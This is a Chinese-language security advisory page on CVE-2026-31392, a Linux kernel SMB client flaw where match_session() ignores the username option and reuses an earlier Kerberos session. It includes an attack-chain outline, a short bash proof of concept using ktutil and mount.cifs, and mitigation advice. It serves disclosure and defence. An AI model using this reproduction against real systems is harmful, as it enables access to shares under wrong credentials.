IPBUF安全漏洞报告
English
CVE-2026-31392 CVSS 8.1 高危

CVE-2026-31392 Linux内核SMB客户端会话重用漏洞

披露日期: 2026-04-03
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31392
漏洞类型
逻辑错误
CVSS评分
8.1 高危
攻击向量
本地 (AV:L)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelSMBKerberos逻辑错误权限提升CVE-2026-31392

漏洞概述

Linux内核SMB客户端存在逻辑漏洞,在使用Kerberos认证挂载共享时,若指定了不同的username选项,客户端仍会错误地复用之前的SMB会话。这导致后续挂载操作使用了错误的凭据,可能引发权限混淆或越权访问。

技术细节

该漏洞位于Linux内核的SMB客户端代码中,具体涉及match_session()函数的实现。当使用cifs-utils(版本4.8及以上)进行挂载时,支持通过username选项从keytab中查找对应的principal进行Kerberos认证。然而,在匹配现有会话时,内核代码未正确检查username挂载选项。因此,当针对同一服务器发起多个挂载请求时,即使后续请求指定了不同的username,系统也会误判并复用第一个挂载建立的SMB会话。这种会话重用逻辑缺陷使得攻击者可以利用系统中存在的有效principal会话,以不存在的身份或错误身份成功挂载共享,绕过了基于用户的身份验证隔离。

攻击链分析

STEP 1
环境准备
在目标系统的keytab中配置一个有效的Kerberos principal(例如testuser)。
STEP 2
建立初始连接
使用有效的principal挂载SMB共享,建立正常的SMB会话。
STEP 3
利用漏洞挂载
尝试使用一个不存在的或未授权的username(如foobar)挂载同一服务器上的另一个共享。
STEP 4
会话重用
由于match_session()未检查username差异,系统错误地重用了之前的会话,导致挂载成功且使用了错误的凭据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # Description: PoC for CVE-2026-31392 # Add a valid user 'testuser' to keytab ktutil <<EOF add_entry -password -p testuser -k 1 -e aes256-cts {password} write_kt /etc/krb5.keytab quit EOF # Mount with valid user 'testuser' mount.cifs //server/share /mnt/1 -o sec=krb5,username=testuser # Attempt to mount with non-existent user 'foobar' # Expected: Fail with -ENOKEY # Actual (Vulnerable): Reuses session from /mnt/1, succeeds mount.cifs //server/share /mnt/2 -o sec=krb5,username=foobar # Verify the issue mount -t cifs | grep username

影响范围

Linux Kernel (修复补丁发布前的版本)

防御指南

临时缓解措施
如果无法立即升级内核,应避免在同一客户端上使用不同的username选项针对同一服务器进行Kerberos挂载,或者定期卸载文件系统以清除缓存的会话状态。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表